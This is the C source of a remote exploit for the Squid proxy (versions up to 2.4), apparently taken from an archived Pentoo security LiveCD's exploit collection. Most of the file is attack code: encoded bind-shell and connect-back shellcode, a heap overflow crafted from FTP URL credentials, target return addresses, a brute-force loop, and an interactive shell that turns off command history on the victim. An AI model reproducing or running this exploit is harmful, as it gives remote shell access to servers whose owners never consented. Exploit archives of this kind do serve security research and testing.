home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / proxy / squid / squidx.c < prev   
C/C++ Source or Header  |  2005-02-12  |  25KB  |  727 lines

  1. /**
  2.  ** *OLD* *OLD* *OLD* *OLD**OLD* *OLD**OLD* *OLD**OLD* *OLD**OLD* *OLD*
  3.  **
  4.  ** linux/x86 2.0 <= squid <= 2.4.DEVEL4 remote exploit (c) gunzip
  5.  **
  6.  ** to compile type 'make squidx'
  7.  **
  8.  ** Version 2.4STABLE(*) are vulnerable too but you have to play with
  9.  ** USERLEN, NOPNUM, PASSLEN values to get exploit works (because of the
  10.  ** different memory layout). Read below how to write new targets.
  11.  **
  12.  ** This is however a rare exploitable bug because
  13.  **
  14.  ** - Squid dies every time you overflow it and you have to wait > 10 sec
  15.  ** - You can't bruteforce too much or squid will rest in peace forever
  16.  ** - You MUST have the rights (acl) to use ftp proxying (not in default conf)
  17.  ** - Address differs alot (return addresses) from distro to distro
  18.  ** - Victim host must have an ftp server running to connect to
  19.  ** - Yes, you can change the host who runs ftp server but in this way
  20.  **   you mess up the align so the exploit won't work (have to fix this)
  21.  **
  22.  ** I'll put new versions if I've time on
  23.  ** http://members.xoom.it/gunzip/
  24.  **
  25.  ** comments to gunzip@ircnet - mAilto: <techieone@softhome.net>
  26.  **
  27.  ** TODO: check align against host field, make real targets
  28.  **
  29.  ** Version 0.4
  30.  **
  31.  ** kisses to tankie
  32.  ** greets: arcangelo, jestah, sorbo, and daphiel for testing
  33.  **
  34.  ** *OLD* *OLD* *OLD* *OLD**OLD* *OLD**OLD* *OLD* *OLD* *OLD* *OLD* *OLD*
  35. **/
  36. /**
  37.  **  Here are the young men, well where have they been ?
  38.  **/
  39. #include <stdio.h>
  40. #include <stdlib.h>
  41. #include <unistd.h>
  42. #include <sys/socket.h>
  43. #include <sys/time.h>
  44. #include <sys/types.h>
  45. #include <netinet/in.h>
  46. #include <arpa/inet.h>
  47. #include <netdb.h>
  48. #include <errno.h>
  49. #include <string.h>
  50. #include <fcntl.h>
  51. #include <getopt.h>
  52.  
  53. char inetd_shellcode[] =
  54.         /*
  55.          * binds an inetd shell on port 5002 (lsd-pl.net + s-poly by zillion)
  56.         */
  57.         "\x4b\xeb\x11\x5e\x31\xc9\xb1\x81\x80\x6c\x0e\xff\xd4\x80\xe9"
  58.         "\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\xbf\xf6\x2d\x05\x94"
  59.         "\x24\x3c\x03\x03\x47\x3c\x3c\x03\x36\x3d\x42\x5d\xb7\x24\x3a"
  60.         "\x3c\x01\x37\x5d\xbb\x24\x25\x2b\x27\x5d\xb5\x6d\x84\xdf\xa1"
  61.         "\x54\xbc\xad\xd3\xd3\xd3\x39\x37\x3c\x43\xf4\x46\x3a\x39\xf4"
  62.         "\x47\x48\x46\x39\x35\x41\xf4\x48\x37\x44\xf4\x42\x43\x4b\x35"
  63.         "\x3d\x48\xf4\x46\x43\x43\x48\xf4\x03\x36\x3d\x42\x03\x47\x3c"
  64.         "\xf4\x47\x3c\xf4\x01\x3d\x12\x03\x48\x41\x44\x03\x02\x4c\xf4"
  65.         "\x0f\x03\x49\x47\x46\x03\x47\x36\x3d\x42\x03\x3d\x42\x39\x48"
  66.         "\x38\xf4\x03\x48\x41\x44\x03\x02\x4c\x0f\x39\x37\x3c\x43\xf4"
  67.         "\x4d\x39\x35\x3c";
  68.  
  69. char forking_bind[] =
  70.         /*
  71.          * by eSDee - www.netric.org, encoded with s-poly by zillion
  72.         */
  73.         "\x57\x5f\xeb\x11\x5e\x31\xc9\xb1\xc8\x80\x44\x0e\xff\x2b\x49"
  74.         "\x41\x49\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x06\x95\x06\xb0"
  75.         "\x06\x9e\x26\x86\xdb\x26\x86\xd6\x26\x86\xd7\x26\x5e\xb6\x88"
  76.         "\xd6\x85\x3b\xa2\x55\x5e\x96\x06\x95\x06\xb0\x25\x25\x25\x3b"
  77.         "\x3d\x85\xc4\x88\xd7\x3b\x28\x5e\xb7\x88\xe5\x28\x88\xd7\x27"
  78.         "\x26\x5e\x9f\x5e\xb6\x85\x3b\xa2\x55\x06\xb0\x0e\x98\x49\xda"
  79.         "\x06\x95\x15\xa2\x55\x06\x95\x25\x27\x5e\xb6\x88\xd9\x85\x3b"
  80.         "\xa2\x55\x5e\xac\x06\x95\x06\xb0\x06\x9e\x88\xe6\x86\xd6\x85"
  81.         "\x05\xa2\x55\x06\x95\x06\xb0\x25\x25\x2c\x5e\xb6\x88\xda\x85"
  82.         "\x3b\xa2\x55\x5e\x9b\x06\x95\x06\xb0\x85\xd7\xa2\x55\x0e\x98"
  83.         "\x4a\x15\x06\x95\x5e\xd0\x85\xdb\xa2\x55\x06\x95\x06\x9e\x5e"
  84.         "\xc8\x85\x14\xa2\x55\x06\x95\x16\x85\x14\xa2\x55\x06\x95\x16"
  85.         "\x85\x14\xa2\x55\x06\x95\x25\x3d\x04\x04\x48\x3d\x3d\x04\x37"
  86.         "\x3e\x43\x5e\xb8\x60\x29\xf9\xdd\x25\x28\x5e\xb6\x85\xe0\xa2"
  87.         "\x55\x06\x95\x15\xa2\x55\x06\x95\x5e\xc8\x85\xdb\xa2\x55\xc0"
  88.         "\x6e";
  89.  
  90. #define IP              "\x7f\x01\x01\x01"      /* 127.1.1.1 */
  91. #define DPORT           "\x99\x99"              /* 39321 */
  92.  
  93. char connectback_shellcode[] =
  94.         /*
  95.          * by gloomy - www.netric.org
  96.         */
  97.         "\x31\xc0\xb0\x02\xcd\x80\x31\xdb\x39\xd8\x75\x54"
  98.         "\x50\x40\x50\x40\x50\x89\xe1\x43\xb0\x66\xcd\x80"
  99.         "\x4b\x53\x53\x68" IP "\x66\x68"  DPORT "\xb3\x02"
  100.         "\x66\x53\x89\xe2\xb3\x10\x53\x52\x50\x89\xe1\xb3"
  101.         "\x03\xb0\x66\xcd\x80\x31\xc9\x39\xc1\x75\x23\xb1"
  102.         "\x02\xb0\x3f\xcd\x80\x49\x75\xf9\xb0\x3f\xcd\x80"
  103.         "\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89"
  104.         "\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80\x31\xc0"
  105.         "\x40\xcd\x80";
  106.  
  107. #define CONNECT_BACK    0x1
  108. #define CONNECT_TO      0x10
  109.  
  110. #define IP_OFFSET       28
  111. #define PORT_OFFSET     34
  112.  
  113. struct hits
  114. {
  115.         char            * desc  ;
  116.         char            * code  ;
  117.         unsigned short  flag    ;
  118.         unsigned short  port    ;
  119. } ht[]=
  120. {
  121.         { "forking bind shellcode (45295)", forking_bind,
  122.                 CONNECT_TO, 45295 },
  123.         { "binds a shell via inetd (5002)", inetd_shellcode,
  124.                 CONNECT_TO, 5002 },
  125.         { "connects back on supplied host (39321)", connectback_shellcode,
  126.                 CONNECT_BACK, 39321 },
  127.         { NULL, 0, 0 }
  128. };
  129.  
  130. #define TIMEOUT         0x5
  131.  
  132. #ifndef INADDR_NONE
  133. #define INADDR_NONE     0xffffffff
  134. #endif
  135.  
  136. #ifndef INADDR_ANY
  137. #define INADDR_ANY      0x00000000
  138. #endif
  139.  
  140. #ifdef DEBUG
  141. #define debug(x...) printf(x)
  142. #else
  143. #define debug(x...)
  144. #endif
  145.  
  146. /**
  147.  ** a little rip from teso fmtlib
  148.  **/
  149. #define OCT( b0, b1, b2, b3, addr )  { \
  150.              b0 = (addr >> 24) & 0xff; \
  151.              b1 = (addr >> 16) & 0xff; \
  152.              b2 = (addr >>  8) & 0xff; \
  153.              b3 = (addr      ) & 0xff; \
  154. }
  155.  
  156. void shell( int fd )
  157. {
  158.         int rd ;
  159.         fd_set rfds;
  160.         static char buff[ 1024 ];
  161.         char INIT_CMD[] = "unset HISTFILE; echo; id; uname -a;\n";
  162.  
  163.         if (write(fd, INIT_CMD, strlen( INIT_CMD )) < strlen(INIT_CMD)) {
  164.                 fprintf(stderr,"[-] Error sending evil commands");
  165.                 exit( EXIT_FAILURE );
  166.         }
  167.  
  168.         while(1) {
  169.                 FD_ZERO( &rfds );
  170.                 FD_SET(0, &rfds);
  171.                 FD_SET(fd, &rfds);
  172.  
  173.                 if(select(fd+1, &rfds, NULL, NULL, NULL) < 1) {
  174.                         perror("[-] Select");
  175.                         exit( EXIT_FAILURE );
  176.                 }
  177.                 if( FD_ISSET(0, &rfds) ) {
  178.                         if( (rd = read(0, buff, sizeof(buff))) < 1) {
  179.                                 perror("[-] Read");
  180.                                 exit( EXIT_FAILURE );
  181.                         }
  182.                         if( write(fd,buff,rd) != rd) {
  183.                                 perror("[-] Write");
  184.                                 exit( EXIT_FAILURE );
  185.                         }
  186.                 }
  187.                 if( FD_ISSET(fd, &rfds) ) {
  188.                         if( (rd = read(fd, buff, sizeof(buff))) < 1) {
  189.                                 exit( EXIT_SUCCESS );
  190.                         }
  191.                         write(1, buff, rd);
  192.                 }
  193.         }
  194. }
  195.  
  196. unsigned long resolve( char * host )
  197. {
  198.         unsigned long   rev ;
  199.         struct hostent  * he ;
  200.  
  201.         if (( rev = inet_addr( host )) != INADDR_NONE )
  202.         {
  203.                 return rev ;
  204.         }
  205.         if ( (he = gethostbyname( host )) == NULL )
  206.         {
  207.                 perror("[-] Gethostbyname");
  208.                 return -1;
  209.         }
  210.         else
  211.         {
  212.                 return ((struct in_addr *)(he->h_addr))->s_addr ;
  213.         }
  214. }
  215.  
  216. int connect_to_host( unsigned long ip, unsigned short port )
  217. {
  218.  
  219.         int     ret, flags, s ;
  220.         struct  sockaddr_in     server ;
  221.  
  222.         memset( &server, 0x0, sizeof(server) );
  223.  
  224.         server.sin_port = htons ( port );
  225.         server.sin_family = AF_INET ;
  226.         server.sin_addr.s_addr = ip ;
  227.  
  228.         if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1 ) {
  229.                 perror("[-] Socket");
  230.                 return -1 ;
  231.         }
  232.  
  233.         /**
  234.          ** sets non blocking socket and connects, ripped somewhere
  235.         **/
  236.  
  237.         if ((flags = fcntl (s, F_GETFL, 0)) == -1 ) {
  238.                 close( s );
  239.                 return -1;
  240.         }
  241.  
  242.         if (fcntl(s, F_SETFL, flags | O_NONBLOCK) == -1) {
  243.                 close( s );
  244.                 return -1;
  245.         }
  246.  
  247.         ret = connect(s, (struct sockaddr *)&server, sizeof(server));
  248.  
  249.         if ( ret < 0 )
  250.         {
  251.                 if ( errno != EINPROGRESS ) {
  252.                         close( s );
  253.                         return -1;
  254.                 }
  255.                 else
  256.                 {
  257.                         int                     n ;
  258.                         struct timeval          tv = { TIMEOUT, 0 };
  259.                         fd_set                  rset, wset;
  260.  
  261.                         FD_ZERO( &rset );
  262.                         FD_ZERO( &wset );
  263.                         FD_SET( s, &rset );
  264.                         FD_SET( s, &wset );
  265.  
  266.                         if ((n = select( s + 1, &rset, &wset, NULL, &tv)) == -1 ) {
  267.                                 perror("[-] Select");
  268.                                 return -1;
  269.                         }
  270.                         /**
  271.                          ** handles timeout
  272.                          **/
  273.                         if (n == 0) {
  274.                                 close( s );
  275.                                 fprintf(stderr,"[-] Timeout\n");
  276.                                 return -1;
  277.                         }
  278.  
  279.                         if (FD_ISSET( s, &rset ) || FD_ISSET( s, &wset ))
  280.                         {
  281.                                 int error = 0 ;
  282.                                 int len = sizeof( error );
  283.                                 if (getsockopt(s, SOL_SOCKET, SO_ERROR, &error, &len) == -1) {
  284.                                         perror("[-] Getsockopt");
  285.                                         return -1;
  286.                                 }
  287.                                 if (error != 0) {
  288.                                         debug("[*] SO_ERROR != 0\n");
  289.                                         return -1;
  290.                                 }
  291.                         }
  292.                         else
  293.                         {
  294.                                 return -1 ;
  295.                         }
  296.                 }
  297.         }
  298.         /**
  299.          **      restores flags and returns
  300.          **/
  301.         if ( fcntl(s, F_SETFL, flags) == -1 )
  302.                 return -1;
  303.         else
  304.                 return s;
  305. }
  306.  
  307. size_t net_write( int fd, char * buf, size_t size )
  308. {
  309.         struct timeval  tv = { TIMEOUT, 0 };
  310.         fd_set          wfds ;
  311.         int             ret ;
  312.  
  313.         FD_ZERO( &wfds );
  314.         FD_SET( fd, &wfds );
  315.  
  316.         if ( (ret = select( fd+1, NULL, &wfds, NULL, &tv )) == -1 ) {
  317.                 perror("[-] Select");
  318.                 exit( EXIT_FAILURE );
  319.         }
  320.         if ( ret == 0 ) {
  321.                 close( fd );
  322.                 fprintf(stderr,"[-] Timeout\n");
  323.                 exit( EXIT_FAILURE );
  324.         }
  325.         if ( FD_ISSET( fd, &wfds ) )
  326.         {
  327.                 return( write( fd, buf, size ) );
  328.         }
  329.         else
  330.         {
  331.                 fprintf(stderr,"[-] Error in sending data\n");
  332.                 exit( EXIT_FAILURE );
  333.         }
  334. }
  335.  
  336. size_t net_read( int fd, char * buf, size_t size )
  337. {
  338.         struct timeval  tv = { TIMEOUT, 0 };
  339.         fd_set          rfds ;
  340.         int             ret ;
  341.  
  342.         FD_ZERO( &rfds );
  343.         FD_SET( fd, &rfds );
  344.  
  345.         if ( (ret = select( fd+1, NULL, &rfds, NULL, &tv )) == -1 ) {
  346.                 perror("[-] Select");
  347.                 exit( EXIT_FAILURE );
  348.         }
  349.         if ( ret == 0 ) {
  350.                 close( fd );
  351.                 fprintf(stderr,"[-] Timeout\n");
  352.                 exit( EXIT_FAILURE );
  353.         }
  354.         if ( FD_ISSET( fd, &rfds ) )
  355.         {
  356.                 return( read( fd, buf, size ) );
  357.         }
  358.         else
  359.         {
  360.                 fprintf(stderr,"[-] Error in sending data\n");
  361.                 exit( EXIT_FAILURE );
  362.         }
  363. }
  364.  
  365. char * make_connback_shellcode( const char * hellcode,
  366.                                 unsigned long ip,
  367.                                 unsigned short port,
  368.                                 int ip_offset,
  369.                                 int port_offset )
  370. {
  371.         /**
  372.          ** ip and port MUST be in host byte order
  373.         **/
  374.         char a, b, c, d;
  375.         char * hell = (char *)strdup( hellcode );
  376.  
  377.         fflush( stderr );
  378.  
  379.         if ( !hell ) {
  380.                 fprintf( stderr, "[-] Out of memory !\n");
  381.                 exit( EXIT_FAILURE );
  382.         }
  383.  
  384.         debug("[*] Using ip=0x%.8x port=%d\n", (unsigned int)ip, port );
  385.         /**
  386.          ** can't contain 0x0a and 0x0d too !!
  387.         **/
  388.         OCT( a, b, c, d, ip );
  389.         if  (   ( !a || !b || !c || !d ) ||
  390.                 (( a == 0xa )||( b == 0xa )||( c == 0xa )|| ( d == 0xa ))||
  391.                 (( a == 0xd )||( b == 0xd )||( c == 0xd )|| ( d == 0xd )) )
  392.         {
  393.                 fprintf(stderr, "[-] Ip contains invalid byte(s) that can't be in the shellcode\n"
  394.                                 "[-] Change ip/shellcode and retry.\n");
  395.                 exit( EXIT_FAILURE );
  396.         }
  397.         if (    ( !(port & 0xff ) || !(port & 0xff00 )) ||
  398.                 ( (( port & 0xff )== 0xa ) || (( port & 0xff00 )== 0xa )) ||
  399.                 ( (( port & 0xff )== 0xd ) || (( port & 0xff00 )== 0xd )) )
  400.         {
  401.                 fprintf(stderr, "[-] Port contains invalid byte(s) that can't be in the shellcode\n"
  402.                                 "[-] Change bindport/shellcode and retry.\n");
  403.                 exit( EXIT_FAILURE );
  404.         }
  405.  
  406.         *(unsigned long  *)( hell + ip_offset   ) = htonl( ip );
  407.         *(unsigned short *)( hell + port_offset ) = htons( port );
  408.  
  409.         return hell;
  410. }
  411. /**
  412.  ** if you have time to add real targets send me them,
  413.  ** I'll return to you the xpl with all new targets and fixes
  414. **/
  415. #define NOPNUM          800
  416. #define USERLEN         11
  417. #define PASSLEN         28
  418. #define URLLEN          24
  419.  
  420. #define SMARTJUMP       "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  421. #define MASK            0x7
  422.  
  423. #define BRUTE_START ( 0x346000 + tg[n].retloc )
  424. #define BRUTE_END   ( 0x366000 + tg[n].retloc )
  425.  
  426. #define PORT    3128
  427. #define DELAY   12
  428.  
  429. #define request2size(req) ( req += (sizeof( size_t ) + MASK) &~ MASK )
  430.  
  431. /**
  432.  ** retloc :
  433.  **     echo 0x`objdump -R /usr/sbin/squid | grep write | awk '{print $1}'`
  434.  **
  435.  ** retaddr:
  436.  **     gdb squid `pidof squid` then on another console run the exploit
  437.  **     wait for squid to segfault, if it segfaults to an address like
  438.  **     0x08041XXX then you just have to look for nopcode just at
  439.  **     0xRETLOC + 346000 (nops look like 0xeb27eb27)
  440.  **
  441.  **     ie. if your retloc is 0x080bb1f8 then just do something like
  442.  **     (gdb) x/100000x 0x080bb1f8+345000
  443.  **
  444.  ** padding:
  445.  **     if squid does not segfault on an address like 0x08XXXXXX
  446.  **     then you have to play with lenght of password, user or url
  447.  **/
  448. struct options
  449. {
  450.         char            *       desc    ;
  451.         unsigned long           retaddr ;
  452.         unsigned long           retloc  ;
  453. } tg[]=
  454. {
  455.         { "2.4.DEVEL4 - Debian 3.0 from src" , 0x08401ba4, 0x080bb1f8 },
  456.         { "2.3STABLE5 - Debian 3.0 from src" , 0x0841982c, 0x080b80a8 },
  457.         { NULL, 0, 0 }
  458. };
  459.  
  460. void usage( char * a )
  461. {
  462.         fprintf( stderr, "Usage: %s -v victim [options]\n\n"
  463.         "-v\tvictim ip or fqhn\n"
  464.         "-p\tport to connect to (default 3128)\n"
  465.         "-f\tdoes not check if host is vulnerable (forces exploit)\n"
  466.         "-j\tjust check if host is vulnerable\n"
  467.         "-i\tip address for connect back shellcode\n"
  468.         "-P\tport of connect back shellcode\n"
  469.         "-t\tone of the targets (for a list type -t X)\n"
  470.         "-c\tone of the shellcodes (for a list type -c X)\n"
  471.         "-b\tbruteforce mode\n"
  472.         "-s\tstep for bruteforce\n"
  473.         "-d\tdelay between attacks (12 secs default)\n"
  474.         "-n\tnumber of nops (try 800, 1024, 1500, 2068)\n"
  475.         "-r\treturn address (shellcode address)\n"
  476.         "-g\taddress to be overwritten\n\n", a );
  477.         exit( EXIT_FAILURE );
  478. }
  479. void show_target_list()
  480. {
  481.         int i;
  482.         fprintf( stderr, "[+] TARGETS:\n\n");
  483.         for (i = 0 ; tg[ i ].desc ; i++ )
  484.                 fprintf ( stderr, " %d - %s\n", i, tg[ i ].desc);
  485.         printf("\n");
  486.         exit( EXIT_FAILURE );
  487. }
  488. void show_code_list()
  489. {
  490.         int i;
  491.         fprintf( stderr, "[+] SHELLCODES\n\n");
  492.         for (i = 0 ; ht[ i ].desc ; i++ )
  493.                 fprintf ( stderr, " %d - %s\n", i, ht[ i ].desc   );
  494.         printf("\n");
  495.         exit( EXIT_FAILURE );
  496. }
  497.  
  498. int squid_check_if_vuln( unsigned long ip, char * host )
  499. {
  500.         int     s ;
  501.         char    buf[ 1024 ];
  502.         char    pad[ 64 ];
  503.  
  504.         memset( buf, 0x0, sizeof(buf) );
  505.         memset( pad, 0x7e, sizeof(pad) );
  506.         pad[ 63 ]  =0;
  507.  
  508.         snprintf( buf, sizeof(buf) - 1,
  509.                 "GET ftp://%s:%s@%s/ HTTP/1.0\r\n\r\n",
  510.                 pad, pad, host );
  511.  
  512.         buf[ 1024 - 1 ] =0;
  513.  
  514.         if ( (s = connect_to_host( ip, 3128 )) == -1 )
  515.                 return 0;
  516.  
  517.         if (net_write( s, buf, strlen(buf) ) == strlen(buf)) {
  518.                 memset( buf, 0x0, sizeof(buf) );
  519.                 if( net_read( s, buf, sizeof(buf)) > 0 ) {
  520.                         close( s );
  521.                         return 0;
  522.                 }
  523.                 else  {
  524.                         close( s );
  525.                         return 1;
  526.                 }
  527.         }
  528.         close( s );
  529.         return 0;
  530. }
  531. /**
  532.  ** every leeto exploit MUST have dots in it
  533. **/
  534. void wait_dots( int s )
  535. {
  536.         int i;
  537.  
  538.         fprintf( stdout, "[+] Sleeping %d secs to let squid restart", s);
  539.  
  540.         for ( i=0; i <= s ; i++ )
  541.         {
  542.                 fflush( stdout );
  543.                 fprintf(stdout, ".");
  544.                 sleep( 1 );
  545.         }
  546.  
  547.         fprintf( stdout, "\n" );
  548. }
  549.  
  550. int main(int argc, char *argv[])
  551. {
  552.         unsigned long   ip              = 0x7f000001,
  553.                         local_ip        = 0x0,
  554.                         retaddr         = 0x0;
  555.  
  556.         unsigned int    len, i,
  557.                         step    = NOPNUM - 256,
  558.                         nopnum  = NOPNUM,
  559.                         delay   = DELAY;
  560.  
  561.         unsigned short  port    = PORT ;
  562.  
  563.         int     opt, s, n =0, c =0, brute =0, force =0;
  564.  
  565.         char    user [ 128 ];
  566.         char    pass [ 128 ];
  567.         char    url  [ 128 ];
  568.         char    evil [ 4096 ];
  569.         char    nops [ NOPNUM ];
  570.  
  571.         char    * t ;
  572.         char    * host          = "0.0.0.0" ;
  573.         char    * victim        = "127.0.0.1";
  574.  
  575.         fprintf(stdout, "\nlinux/x86 remote exploit against squid <= 2.4.STABLE3 by gunzip\n\n");
  576.  
  577.         if ( argc < 3 )
  578.                 usage( argv[0] );
  579.  
  580.         while ((opt = getopt(argc, argv, "n:d:i:P:jfp:c:t:v:r:g:bs:h")) != EOF) {
  581.                 switch(opt)
  582.                 {
  583.                         case 'd': delay = atoi(optarg); break;
  584.                         case 'n': nopnum = atoi(optarg); break;
  585.                         case 'i': local_ip = inet_addr(optarg); break;
  586.                         case 'P': ht[c].port = atoi(optarg); break;
  587.                         case 'f': force=1; break;
  588.                         case 'j': force=-1; break;
  589.                         case 'p': port = atoi(optarg) ;
  590.                         case 'c': if ( *optarg == 'X' ) show_code_list();
  591.                                   else c = atoi(optarg); break;
  592.                         case 't': if ( *optarg == 'X' ) show_target_list();
  593.                                   else n = atoi(optarg); break;
  594.                         case 'v': victim = strdup( optarg ); break ;
  595.                         case 'r': tg[n].retaddr = strtoul( optarg, NULL, 16 ); break ;
  596.                         case 'g': tg[n].retloc = strtoul( optarg, NULL, 16 ); break ;
  597.                         case 'b': brute=1; break;
  598.                         case 's': step=atoi(optarg); break;
  599.                         case 'h': default: usage( "./squidx" ); break;
  600.                 }
  601.         }
  602.         if ( ht[c].port > 65535 || ht[c].port < 1 ) {
  603.                 fprintf(stderr, "[-] Not valid port for connect back code\n");
  604.                 return -1;
  605.         }
  606.         if ( ht[c].flag & CONNECT_BACK ) {
  607.                 if ( !local_ip || local_ip == -1 ) {
  608.                         fprintf(stderr,"[-] You must supply a valid ip for connect back shellcode.\n");
  609.                         return -1;
  610.                 }
  611.                 ht[c].code = make_connback_shellcode(   ht[c].code,
  612.                                                         ntohl( local_ip ),
  613.                                                         ht[c].port,
  614.                                                         IP_OFFSET,
  615.                                                         PORT_OFFSET
  616.                 );
  617.         }
  618.         if ( (ip = resolve( victim )) == -1 ) {
  619.                 fprintf(stderr, "[-] Cannot resolve victim ip\n");
  620.                 return -1;
  621.         }
  622.         if ( !force ) {
  623.                 if ( squid_check_if_vuln( ip, host ) )
  624.                         fprintf(stdout, "[+] Host seems vuln !\n");
  625.                 else {
  626.                         fprintf(stderr, "[-] Host seems not vuln, sorry.\n");
  627.                         return -1;
  628.                 }
  629.  
  630.                 if ( force == -1 )
  631.                         return 1;
  632.  
  633.                 wait_dots( 12 );
  634.         }
  635.         fprintf(stdout,"[+] Target %s\n", tg[n].desc);
  636.         fprintf(stdout,"[+] Host is %s\n", victim );
  637.         /**
  638.          ** this is for align and overflow
  639.          **/
  640.         memset( user, 0x7e, USERLEN );
  641.         user[ USERLEN ] = 0;
  642.  
  643.         memset( pass, 0x7e, PASSLEN );
  644.         pass[ PASSLEN  ] = 0 ;
  645.  
  646.         len = 64 + strlen( user ) + strlen( pass ) + strlen( host ) + URLLEN;
  647.         t = (char *)malloc( len );
  648.  
  649.         memset( evil, 0x00, sizeof(evil));
  650.         memset( nops, 0xeb, sizeof(nops));
  651.         memset( url, 0x41, sizeof(url));
  652.         /**
  653.          ** that's because 0x27 act as a nop
  654.          **/
  655.         for ( i=1; i < sizeof(nops) ; i+=2 )
  656.                 nops[ i ] = 0x27 ;
  657.  
  658.         nops[ nopnum - strlen(ht[c].code) - 8 ] = 0 ;
  659.  
  660.         snprintf( evil, sizeof(evil)-1, "Accept: %s%s%s\r\n\r\n", nops, SMARTJUMP, ht[c].code);
  661.  
  662.         for ( retaddr=(brute ? BRUTE_START : tg[n].retaddr ); retaddr <= (brute ? BRUTE_END : tg[n].retaddr ); reta
  663. ddr += step )
  664.         {
  665.                 memset( t, 0x0, len );
  666.  
  667.                 fprintf(stdout,"[+] Using retaddr=0x%.8x retloc=0x%.8x code=%d step=%d\n",
  668.                                 (u_int)retaddr, (u_int)tg[n].retloc,
  669.                                 strlen(ht[c].code), step);
  670.  
  671.                 *(long *)&url[0]        = 0x4142432f            ; /* dummy      */
  672.                 *(long *)&url[4]        = 0xfffffffc            ; /* prevsize   */
  673.                 *(long *)&url[8]        = 0xfffffffc            ; /* size field */
  674.                 *(long *)&url[12]       = 0xdeadbeef            ; /* dummy      */
  675.                 *(long *)&url[16]       = tg[n].retloc - 12     ; /* fd         */
  676.                 *(long *)&url[20]       = retaddr               ; /* bk         */
  677.                 url[ URLLEN ] = 0 ;
  678.  
  679.                 debug("[*] Using host=%d user=%d url=%d pass=%d\n",
  680.                         strlen(host), strlen(user),
  681.                         strlen(url), strlen(pass));
  682.  
  683.                 debug("[*] Using buffer_len=%d real_malloced_size=%d\n",
  684.                         len, request2size( len ));
  685.  
  686.                 strcat( t, "GET " );
  687.                 strcat( t, "ftp://" );
  688.                 strcat( t, user );
  689.                 strcat( t, ":" );
  690.                 strcat( t, pass );
  691.                 strcat( t, "@" );
  692.                 strcat( t, host );
  693.                 strcat( t, url );
  694.                 strcat( t, " HTTP/1.0\r\n" );
  695.  
  696.                 debug("[*] Using string=%d evil=%d\n", strlen(t), strlen(evil));
  697.  
  698.                 if ( (s = connect_to_host( ip, 3128 )) == -1 ) {
  699.                         fprintf(stderr, "[-] Could not connect to host %s\n", victim );
  700.                         return -1;
  701.                 }
  702.  
  703.                 net_write( s, t, strlen(t) );
  704.                 net_write( s, evil, strlen(evil) );
  705.  
  706.                 if (( brute ) && !(brute++ % 5) )
  707.                         wait_dots( 22 );
  708.                 else
  709.                         wait_dots( 12 );
  710.  
  711.                 close( s );
  712.                 sleep( 1 );
  713.  
  714.                 if ( ht[c].flag & CONNECT_TO )
  715.                 {
  716.                         int y = connect_to_host( ip, ht[c].port );
  717.                         fprintf( stdout, "[+] Trying connecting to the backdoor\n");
  718.                         if ( y > 0 ) shell( y );
  719.                 }
  720.                 fprintf(stdout, "[+] I did not work.\n");
  721.         }
  722.  
  723.         return 1;
  724. }
  725.  
  726.  
  727.